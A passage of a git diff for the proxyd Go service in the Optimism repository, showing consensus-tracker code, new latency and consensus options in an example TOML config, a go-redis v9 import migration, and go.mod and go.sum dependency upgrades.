ct.client.Set(ct.ctx, ct.key(fmt.Sprintf("leader:%s", mutexVal)), leader, ct.lockPeriod) + + log.Debug("posted state", "state", string(jsonState), "leader", leader) + + ct.leaderName = leader + ct.remote.update(ct.local.state) + + RecordGroupConsensusHALatestBlock(ct.backendGroup, leader, ct.remote.state.Latest) + RecordGroupConsensusHASafeBlock(ct.backendGroup, leader, ct.remote.state.Safe) + RecordGroupConsensusHAFinalizedBlock(ct.backendGroup, leader, ct.remote.state.Finalized) +} diff --git a/go/proxyd/example.config.toml b/go/proxyd/example.config.toml index fb8fea941b..cce4896926 100644 --- a/go/proxyd/example.config.toml +++ b/go/proxyd/example.config.toml @@ -15,6 +15,7 @@ rpc_port = 8080 # Host for the proxyd WS server to listen on. ws_host = "0.0.0.0" # Port for the above +# Set the ws_port to 0 to disable WS ws_port = 8085 # Maximum client body size, in bytes, that the server will accept. max_body_size_bytes = 10485760 @@ -43,6 +44,12 @@ max_response_size_bytes = 5242880 max_retries = 3 # Number of seconds to wait before trying an unhealthy backend again. out_of_service_seconds = 600 +# Maximum latency accepted to serve requests, default 10s +max_latency_threshold = "30s" +# Maximum latency accepted to serve requests before degraded, default 5s +max_degraded_latency_threshold = "10s" +# Maximum error rate accepted to serve requests, default 0.5 (i.e. 50%) +max_error_rate_threshold = 0.3 [backends] # A map of backends by name. @@ -65,6 +72,11 @@ ca_file = "" client_cert_file = "" # Path to a custom client key file. client_key_file = "" +# Allows backends to skip peer count checking, default false +# consensus_skip_peer_count = true +# Specified the target method to get receipts, default "debug_getRawReceipts" +# See https://github.com/ethereum-optimism/optimism/blob/186e46a47647a51a658e699e9ff047d39444c2de/op-node/sources/receipts.go#L186-L253 +consensus_receipts_target = "eth_getBlockReceipts" [backends.alchemy] rpc_url = "" @@ -73,10 +85,21 @@ username = "" password = "" max_rps = 3 max_ws_conns = 1 +consensus_receipts_target = "alchemy_getTransactionReceipts" [backend_groups] [backend_groups.main] backends = ["infura"] +# Enable consensus awareness for backend group, making it act as a load balancer, default false +# consensus_aware = true +# Period in which the backend wont serve requests if banned, default 5m +# consensus_ban_period = "1m" +# Maximum delay for update the backend, default 30s +# consensus_max_update_threshold = "20s" +# Maximum block lag, default 8 +# consensus_max_block_lag = 16 +# Minimum peer count, default 3 +# consensus_min_peer_count = 4 [backend_groups.alchemy] backends = ["alchemy"] diff --git a/go/proxyd/frontend_rate_limiter.go b/go/proxyd/frontend_rate_limiter.go index d377370ed8..d0590f0561 100644 --- a/go/proxyd/frontend_rate_limiter.go +++ b/go/proxyd/frontend_rate_limiter.go @@ -6,7 +6,7 @@ import ( "sync" "time" - "github.com/go-redis/redis/v8" + "github.com/redis/go-redis/v9" ) type FrontendRateLimiter interface { diff --git a/go/proxyd/frontend_rate_limiter_test.go b/go/proxyd/frontend_rate_limiter_test.go index f3542cf351..fb5f808bb5 100644 --- a/go/proxyd/frontend_rate_limiter_test.go +++ b/go/proxyd/frontend_rate_limiter_test.go @@ -7,7 +7,7 @@ import ( "time" "github.com/alicebob/miniredis" - "github.com/go-redis/redis/v8" + "github.com/redis/go-redis/v9" "github.com/stretchr/testify/require" ) diff --git a/go/proxyd/go.mod b/go/proxyd/go.mod index d47c7a3239..cbab0d5c30 100644 --- a/go/proxyd/go.mod +++ b/go/proxyd/go.mod @@ -1,66 +1,84 @@ module github.com/ethereum-optimism/optimism/proxyd -go 1.18 +go 1.21 require ( - github.com/BurntSushi/toml v0.4.1 + github.com/BurntSushi/toml v1.3.2 github.com/alicebob/miniredis v2.5.0+incompatible - github.com/ethereum/go-ethereum v1.10.17 - github.com/go-redis/redis/v8 v8.11.4 - github.com/golang/snappy v0.0.4 + github.com/emirpasic/gods v1.18.1 + github.com/ethereum/go-ethereum v1.13.4 + github.com/go-redsync/redsync/v4 v4.10.0 + github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb github.com/gorilla/mux v1.8.0 github.com/gorilla/websocket v1.5.0 - github.com/hashicorp/golang-lru v0.5.5-0.20210104140557-80c98217689d - github.com/prometheus/client_golang v1.11.1 - github.com/rs/cors v1.8.2 - github.com/stretchr/testify v1.7.0 - golang.org/x/sync v0.0.0-20210220032951-036812b2e83c + github.com/hashicorp/golang-lru v1.0.2 + github.com/pkg/errors v0.9.1 + github.com/prometheus/client_golang v1.17.0 + github.com/redis/go-redis/v9 v9.2.1 + github.com/rs/cors v1.10.1 + github.com/stretchr/testify v1.8.4 + github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7 + golang.org/x/sync v0.4.0 + gopkg.in/yaml.v3 v3.0.1 ) require ( - github.com/VictoriaMetrics/fastcache v1.9.0 // indirect - github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a // indirect + github.com/DataDog/zstd v1.5.5 // indirect + github.com/Microsoft/go-winio v0.6.1 // indirect + github.com/VictoriaMetrics/fastcache v1.12.1 // indirect + github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302 // indirect github.com/beorn7/perks v1.0.1 // indirect - github.com/btcsuite/btcd v0.22.0-beta // indirect - github.com/btcsuite/btcd/btcec/v2 v2.1.2 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/bits-and-blooms/bitset v1.10.0 // indirect + github.com/btcsuite/btcd/btcec/v2 v2.3.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect + github.com/cockroachdb/errors v1.11.1 // indirect + github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b // indirect + github.com/cockroachdb/pebble v0.0.0-20231020221949-babd592d2360 // indirect + github.com/cockroachdb/redact v1.1.5 // indirect + github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06 // indirect + github.com/consensys/bavard v0.1.13 // indirect + github.com/consensys/gnark-crypto v0.12.1 // indirect + github.com/crate-crypto/go-kzg-4844 v0.7.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect - github.com/deckarep/golang-set v1.8.0 // indirect - github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect + github.com/deckarep/golang-set/v2 v2.3.1 // indirect + github.com/decred/dcrd/dcrec/secp256k1/v4 v4.2.0 // indirect github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect - github.com/edsrzf/mmap-go v1.1.0 // indirect - github.com/fjl/memsize v0.0.1 // indirect - github.com/gballet/go-libpcsclite v0.0.0-20191108122812-4678299bea08 // indirect - github.com/go-ole/go-ole v1.2.6 // indirect + github.com/ethereum/c-kzg-4844 v0.4.0 // indirect + github.com/getsentry/sentry-go v0.25.0 // indirect + github.com/go-ole/go-ole v1.3.0 // indirect github.com/go-stack/stack v1.8.1 // indirect - github.com/golang/protobuf v1.5.2 // indirect - github.com/gomodule/redigo v1.8.8 // indirect - github.com/google/go-cmp v0.5.8 // indirect - github.com/google/uuid v1.3.0 // indirect - github.com/hashicorp/go-bexpr v0.1.11 // indirect - github.com/huin/goupnp v1.0.3 // indirect - github.com/mattn/go-colorable v0.1.12 // indirect - github.com/mattn/go-isatty v0.0.14 // indirect - github.com/mattn/go-runewidth v0.0.13 // indirect - github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect - github.com/mitchellh/mapstructure v1.4.3 // indirect + github.com/gofrs/flock v0.8.1 // indirect + github.com/gogo/protobuf v1.3.2 // indirect + github.com/gomodule/redigo v1.8.9 // indirect + github.com/hashicorp/errwrap v1.1.0 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect + github.com/holiman/bloomfilter/v2 v2.0.3 // indirect + github.com/holiman/uint256 v1.2.3 // indirect + github.com/klauspost/compress v1.17.1 // indirect + github.com/kr/pretty v0.3.1 // indirect + github.com/kr/text v0.2.0 // indirect + github.com/mattn/go-runewidth v0.0.15 // indirect + github.com/matttproud/golang_protobuf_extensions/v2 v2.0.0 // indirect + github.com/mmcloughlin/addchain v0.4.0 // indirect + github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/prometheus/client_model v0.2.0 // indirect - github.com/prometheus/common v0.30.0 // indirect - github.com/prometheus/procfs v0.7.3 // indirect - github.com/prometheus/tsdb v0.10.0 // indirect - github.com/rjeczalik/notify v0.9.2 // indirect + github.com/prometheus/client_model v0.5.0 // indirect + github.com/prometheus/common v0.45.0 // indirect + github.com/prometheus/procfs v0.12.0 // indirect + github.com/rivo/uniseg v0.4.4 // indirect + github.com/rogpeppe/go-internal v1.11.0 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect - github.com/status-im/keycard-go v0.0.0-20211109104530-b0e0482ba91d // indirect - github.com/tklauser/go-sysconf v0.3.10 // indirect - github.com/tklauser/numcpus v0.4.0 // indirect - github.com/tyler-smith/go-bip39 v1.1.0 // indirect - github.com/yuin/gopher-lua v0.0.0-20210529063254-f4c35e4016d9 // indirect - github.com/yusufpapurcu/wmi v1.2.2 // indirect - golang.org/x/crypto v0.0.0-20220307211146-efcb8507fb70 // indirect - golang.org/x/sys v0.1.0 // indirect - golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 // indirect - google.golang.org/protobuf v1.27.1 // indirect - gopkg.in/natefinch/npipe.v2 v2.0.0-20160621034901-c1b8fa8bdcce // indirect - gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect + github.com/supranational/blst v0.3.11 // indirect + github.com/tklauser/go-sysconf v0.3.12 // indirect + github.com/tklauser/numcpus v0.6.1 // indirect + github.com/yuin/gopher-lua v1.1.0 // indirect + github.com/yusufpapurcu/wmi v1.2.3 // indirect + golang.org/x/crypto v0.14.0 // indirect + golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect + golang.org/x/mod v0.13.0 // indirect + golang.org/x/sys v0.13.0 // indirect + golang.org/x/text v0.13.0 // indirect + golang.org/x/tools v0.14.0 // indirect + google.golang.org/protobuf v1.31.0 // indirect + rsc.io/tmplfunc v0.0.3 // indirect ) diff --git a/go/proxyd/go.sum b/go/proxyd/go.sum index 6e90470107..e759ce561a 100644 --- a/go/proxyd/go.sum +++ b/go/proxyd/go.sum @@ -1,882 +1,290 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= -cloud.google.com/go v0.43.0/go.mod h1:BOSR3VbTLkk6FDC/TcffxP4NF/FFBGA5ku+jvKOP7pg= -cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= -cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= -cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= -cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= -cloud.google.com/go v0.51.0/go.mod h1:hWtGJ6gnXH+KgDv+V0zFGDvpi07n3z8ZNj3T1RW0Gcw= -cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= -cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= -cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= -cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= -cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= -cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= -cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= -cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= -cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= -cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= -cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= -cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/bigtable v1.2.0/go.mod h1:JcVAOl45lrTmQfLj7T6TxyMzIN/3FGGcFm+2xVAli2o= -cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= -cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= -cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= -cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= -cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= -cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= -cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= -cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= -cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -collectd.org v0.3.0/go.mod h1:A/8DzQBkF6abtvrT2j/AU/4tiBgJWYyh0y/oB/4MlWE= -dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -github.com/Azure/azure-sdk-for-go/sdk/azcore v0.21.1/go.mod h1:fBF9PQNqB8scdgpZ3ufzaLntG0AG7C1WjPMsiFOmfHM= -github.com/Azure/azure-sdk-for-go/sdk/internal v0.8.3/go.mod h1:KLF4gFr6DcKFZwSuH8w8yEK6DpFl3LP5rhdvAb7Yz5I= -github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.3.0/go.mod h1:tPaiy8S5bQ+S5sOiDlINkp7+Ef339+Nz5L5XO+cnOHo= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/toml v0.4.1 h1:GaI7EiDXDRfa8VshkTj7Fym7ha+y8/XxIgD2okUIjLw= -github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/DATA-DOG/go-sqlmock v1.3.3/go.mod h1:f/Ixk793poVmq4qj/V1dPUg2JEAKC73Q5eFN3EC/SaM= -github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/StackExchange/wmi v0.0.0-20180116203802-5d049714c4a6/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= -github.com/VictoriaMetrics/fastcache v1.6.0/go.mod h1:0qHz5QP0GMX4pfmMA/zt5RgfNuXJrTP0zS7DqpHGGTw= -github.com/VictoriaMetrics/fastcache v1.9.0 h1:oMwsS6c8abz98B7ytAewQ7M1ZN/Im/iwKoE1euaFvhs= -github.com/VictoriaMetrics/fastcache v1.9.0/go.mod h1:otoTS3xu+6IzF/qByjqzjp3rTuzM3Qf0ScU1UTj97iU= -github.com/aead/siphash v1.0.1/go.mod h1:Nywa3cDsYNNK3gaciGTWPwHt0wlpNV15vwmswBAUSII= -github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= -github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk= -github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a/go.mod h1:SGnFV6hVsYE877CKEZ6tDNTjaSXYUk6QqoIK6PrAtcc= +github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8= +github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= +github.com/DataDog/zstd v1.5.5 h1:oWf5W7GtOLgp6bciQYDmhHHjdhYkALu6S/5Ni9ZgSvQ= +github.com/DataDog/zstd v1.5.5/go.mod h1:g4AWEaM3yOg3HYfnJ3YIawPnVdXJh9QME85blwSAmyw= +github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= +github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM= +github.com/VictoriaMetrics/fastcache v1.12.1 h1:i0mICQuojGDL3KblA7wUNlY5lOK6a4bwt3uRKnkZU40= +github.com/VictoriaMetrics/fastcache v1.12.1/go.mod h1:tX04vaqcNoQeGLD+ra5pU5sWkuxnzWhEzLwhP9w653o= +github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302 h1:uvdUDbHQHO85qeSydJtItA4T55Pw6BtAejd0APRJOCE= +github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302/go.mod h1:SGnFV6hVsYE877CKEZ6tDNTjaSXYUk6QqoIK6PrAtcc= github.com/alicebob/miniredis v2.5.0+incompatible h1:yBHoLpsyjupjz3NL3MhKMVkR41j82Yjf3KFv7ApYzUI= github.com/alicebob/miniredis v2.5.0+incompatible/go.mod h1:8HZjEj4yU0dwhYHky+DxYx+6BMjkBbe5ONFIF1MXffk= +github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156 h1:eMwmnE/GDgah4HI848JfFxHt+iPb26b4zyfspmqY0/8= github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM= -github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8= -github.com/apache/arrow/go/arrow v0.0.0-20191024131854-af6fa24be0db/go.mod h1:VTxUBvSJ3s3eHAg65PNgrsn5BtqCRPdmyXh6rAfdxN0= -github.com/aws/aws-sdk-go-v2 v1.2.0/go.mod h1:zEQs02YRBw1DjK0PoJv3ygDYOFTre1ejlJWl8FwAuQo= -github.com/aws/aws-sdk-go-v2/config v1.1.1/go.mod h1:0XsVy9lBI/BCXm+2Tuvt39YmdHwS5unDQmxZOYe8F5Y= -github.com/aws/aws-sdk-go-v2/credentials v1.1.1/go.mod h1:mM2iIjwl7LULWtS6JCACyInboHirisUUdkBPoTHMOUo= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.0.2/go.mod h1:3hGg3PpiEjHnrkrlasTfxFqUsZ2GCk/fMUn4CbKgSkM= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.0.2/go.mod h1:45MfaXZ0cNbeuT0KQ1XJylq8A6+OpVV2E5kvY/Kq+u8= -github.com/aws/aws-sdk-go-v2/service/route53 v1.1.1/go.mod h1:rLiOUrPLW/Er5kRcQ7NkwbjlijluLsrIbu/iyl35RO4= -github.com/aws/aws-sdk-go-v2/service/sso v1.1.1/go.mod h1:SuZJxklHxLAXgLTc1iFXbEWkXs7QRTQpCLGaKIprQW0= -github.com/aws/aws-sdk-go-v2/service/sts v1.1.1/go.mod h1:Wi0EBZwiz/K44YliU0EKxqTCJGUfYTWXrrBwkq736bM= -github.com/aws/smithy-go v1.1.0/go.mod h1:EzMw8dbp/YJL4A5/sbhGddag+NPT7q084agLbB9LgIw= -github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= -github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bmizerany/pat v0.0.0-20170815010413-6226ea591a40/go.mod h1:8rLXio+WjiTceGBHIoTvn60HIbs7Hm7bcHjyrSqYB9c= -github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps= -github.com/btcsuite/btcd v0.20.1-beta/go.mod h1:wVuoA8VJLEcwgqHBwHmzLRazpKxTv13Px/pDuV7OomQ= -github.com/btcsuite/btcd v0.22.0-beta h1:LTDpDKUM5EeOFBPM8IXpinEcmZ6FWfNZbE3lfrfdnWo= -github.com/btcsuite/btcd v0.22.0-beta/go.mod h1:9n5ntfhhHQBIhUvlhDvD3Qg6fRUj4jkN0VB8L8svzOA= -github.com/btcsuite/btcd/btcec/v2 v2.1.2 h1:YoYoC9J0jwfukodSBMzZYUVQ8PTiYg4BnOWiJVzTmLs= -github.com/btcsuite/btcd/btcec/v2 v2.1.2/go.mod h1:ctjw4H1kknNJmRN4iP1R7bTQ+v3GJkZBd6mui8ZsAZE= -github.com/btcsuite/btcd/chaincfg/chainhash v1.0.0/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc= -github.com/btcsuite/btclog v0.0.0-20170628155309-84c8d2346e9f/go.mod h1:TdznJufoqS23FtqVCzL0ZqgP5MqXbb4fg/WgDys70nA= -github.com/btcsuite/btcutil v0.0.0-20190425235716-9e5f4b9a998d/go.mod h1:+5NJ2+qvTyV9exUAL/rxXi3DcLg2Ts+ymUAY5y4NvMg= -github.com/btcsuite/btcutil v1.0.3-0.20201208143702-a53e38424cce/go.mod h1:0DVlHczLPewLcPGEIeUEzfOJhqGPQ0mJJRDBtD307+o= -github.com/btcsuite/go-socks v0.0.0-20170105172521-4720035b7bfd/go.mod h1:HHNXQzUsZCxOoE+CPiyCTO6x34Zs86zZUiwtpXoGdtg= -github.com/btcsuite/goleveldb v0.0.0-20160330041536-7834afc9e8cd/go.mod h1:F+uVaaLLH7j4eDXPRvw78tMflu7Ie2bzYOH4Y8rRKBY= -github.com/btcsuite/goleveldb v1.0.0/go.mod h1:QiK9vBlgftBg6rWQIj6wFzbPfRjiykIEhBH4obrXJ/I= -github.com/btcsuite/snappy-go v0.0.0-20151229074030-0bdef8d06723/go.mod h1:8woku9dyThutzjeg+3xrA5iCpBRH8XEEg3lh6TiUghc= -github.com/btcsuite/snappy-go v1.0.0/go.mod h1:8woku9dyThutzjeg+3xrA5iCpBRH8XEEg3lh6TiUghc= -github.com/btcsuite/websocket v0.0.0-20150119174127-31079b680792/go.mod h1:ghJtEyQwv5/p4Mg4C0fgbePVuGr935/5ddU9Z3TmDRY= -github.com/btcsuite/winsvc v1.0.0/go.mod h1:jsenWakMcC0zFBFurPLEAyrnc/teJEM1O46fmI40EZs= -github.com/c-bata/go-prompt v0.2.2/go.mod h1:VzqtzE2ksDBcdln8G7mk2RX9QyGjH+OVqOCSiVIqS34= -github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/cespare/cp v0.1.0/go.mod h1:SOGHArjBr4JWaSDEVpWpo/hNg6RoKrls6Oh40hiwW+s= -github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= -github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= -github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/cloudflare/cloudflare-go v0.14.0/go.mod h1:EnwdgGMaFOruiPZRFSgn+TsQ3hQ7C/YWzIGLeu5c304= -github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/consensys/bavard v0.1.8-0.20210406032232-f3452dc9b572/go.mod h1:Bpd0/3mZuaj6Sj+PqrmIquiOKy397AKGThQPaGzNXAQ= -github.com/consensys/gnark-crypto v0.4.1-0.20210426202927-39ac3d4b3f1f/go.mod h1:815PAHg3wvysy0SyIqanF8gZ0Y1wjk/hrDHD/iT88+Q= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/bits-and-blooms/bitset v1.10.0 h1:ePXTeiPEazB5+opbv5fr8umg2R/1NlzgDsyepwsSr88= +github.com/bits-and-blooms/bitset v1.10.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8= +github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= +github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= +github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/btcsuite/btcd/btcec/v2 v2.3.2 h1:5n0X6hX0Zk+6omWcihdYvdAlGf2DfasC0GMf7DClJ3U= +github.com/btcsuite/btcd/btcec/v2 v2.3.2/go.mod h1:zYzJ8etWJQIv1Ogk7OzpWjowwOdXY1W/17j2MW85J04= +github.com/btcsuite/btcd/chaincfg/chainhash v1.0.1 h1:q0rUy8C/TYNBQS1+CGKw68tLOFYSNEs0TFnxxnS9+4U= +github.com/btcsuite/btcd/chaincfg/chainhash v1.0.1/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc= +github.com/cespare/xxhash/v2 v2.2.0 